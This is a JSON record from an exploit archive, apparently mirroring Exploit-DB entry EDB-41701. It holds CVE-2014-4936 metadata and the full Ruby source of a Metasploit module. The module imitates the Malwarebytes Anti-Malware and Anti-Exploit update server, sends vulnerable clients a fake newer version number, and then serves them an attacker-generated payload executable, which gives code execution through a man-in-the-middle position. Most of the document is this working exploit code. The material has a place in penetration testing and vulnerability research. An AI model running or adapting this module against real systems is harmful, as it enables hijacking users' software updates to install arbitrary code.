{"exploit":{"id":"EDB-41701","name":"Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Code Execution (Metasploit)","description":"Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Code Execution (Metasploit)","cves":["CVE-2014-4936"],"author":"Metasploit","published":"2014-12-16","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41701","path":"exploits/windows/local/41701.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41701.rb","vulnerabilities":[{"id":"CVE-2014-4936","state":"PUBLISHED","title":null,"titleSource":null,"description":"The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-4936","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-4936"},"updatedAt":"2024-08-06T11:34:36.396Z","retrievedAt":"2026-11-27T04:11:49.947Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41701.png?v=2","url":"https://exploitbin.com/exploits/EDB-41701","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41701/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41701/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking # Would be Great except MBAE doesn't version check\n\n  include Msf::Exploit::EXE\n  include Msf::Exploit::Remote::HttpServer\n\n  VERSION_REGEX = /\\/v2\\/(mbam|mbae)\\/consumer\\/version.chk/\n  EXE_REGEX     = /\\/v2\\/(mbam|mbae)\\/consumer\\/data\\/(mbam|mbae)-setup-(.*)\\.exe/\n  NEXT_VERSION  = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution',\n      'Description'    => %q{\n        This module exploits a vulnerability in the update functionality of\n        Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes\n        Anti-Exploit consumer 1.03.1.1220.\n        Due to the lack of proper update package validation, a man-in-the-middle\n        (MITM) attacker could execute arbitrary code by spoofing the update server\n        data-cdn.mbamupdates.com and uploading an executable. This module has\n        been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'Yonathan Klijnsma',  # Vulnerability discovery and PoC\n          'Gabor Seljan',       # Metasploit module\n          'todb'                # Module refactoring\n        ],\n      'References'     =>\n        [\n          [ 'CVE', '2014-4936' ],\n          [' OSVDB', '116050'],\n          [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog\n        ],\n      'DefaultOptions' =>\n        {\n          'EXITFUNC' => 'process'\n        },\n      'Platform'       => 'win',\n      'Targets'        =>\n        [\n          [ 'Windows Universal', {} ]\n        ],\n      'Privileged'     => false,\n      'DisclosureDate' => 'Dec 16 2014',\n      'DefaultTarget'  => 0\n    ))\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The daemon port to listen on (do not change)\", 80 ]),\n        OptString.new('URIPATH', [ true, \"The URI to use (do not change)\", \"/\" ])\n      ], self.class)\n\n    # Vulnerable Malwarebytes clients do not allow altering these.\n    deregister_options('SSL', 'SSLVersion', 'SSLCert')\n  end\n\n  def on_request_uri(cli, request)\n    case request.uri\n    when VERSION_REGEX\n      serve_update_notice(cli) if set_exploit_target($1, request)\n    when EXE_REGEX\n      serve_exploit(cli)\n    else\n      vprint_status \"Sending empty page for #{request.uri}\"\n      serve_default_response(cli)\n    end\n  end\n\n  def serve_default_response(cli)\n    send_response(cli, '')\n  end\n\n  def check_client_version(request)\n    return false unless request['User-Agent'] =~ /base:(\\d+\\.\\d+\\.\\d+\\.\\d+)/\n    this_version = $1\n    next_version = NEXT_VERSION[:mbam]\n    if\n      Gem::Version.new(next_version) >= Gem::Version.new(this_version)\n      return true\n    else\n      print_error \"Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update.\"\n      return false\n    end\n  end\n\n  def set_exploit_target(package, request)\n    case package\n    when /mbam/i\n      if check_client_version(request)\n        @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]\n      else\n        serve_default_response(cli)\n        return false\n      end\n    when /mbae/i\n      # We don't get identifying info from MBAE\n      @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]\n    end\n  end\n\n  def serve_update_notice(cli)\n    software,next_version = @client_software\n    print_status \"Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'.\"\n    send_response(cli, next_version,\n                  'Content-Type' => 'application/octet-stream'\n                 )\n  end\n\n  def serve_exploit(cli)\n    print_status \"Sending payload EXE...\"\n    send_response(cli, generate_payload_exe,\n                  'Content-Type' => 'application/x-msdos-program'\n                 )\n  end\n\nend","sha256":"3974dc256f79efdfcb9b40a032f3d1c6268db083102455a3d9ceefae31caf23c","bytes":4123,"fetchedAt":"2026-11-27T04:11:46.275Z","encoding":"utf-8 (display only; download retains original bytes)"}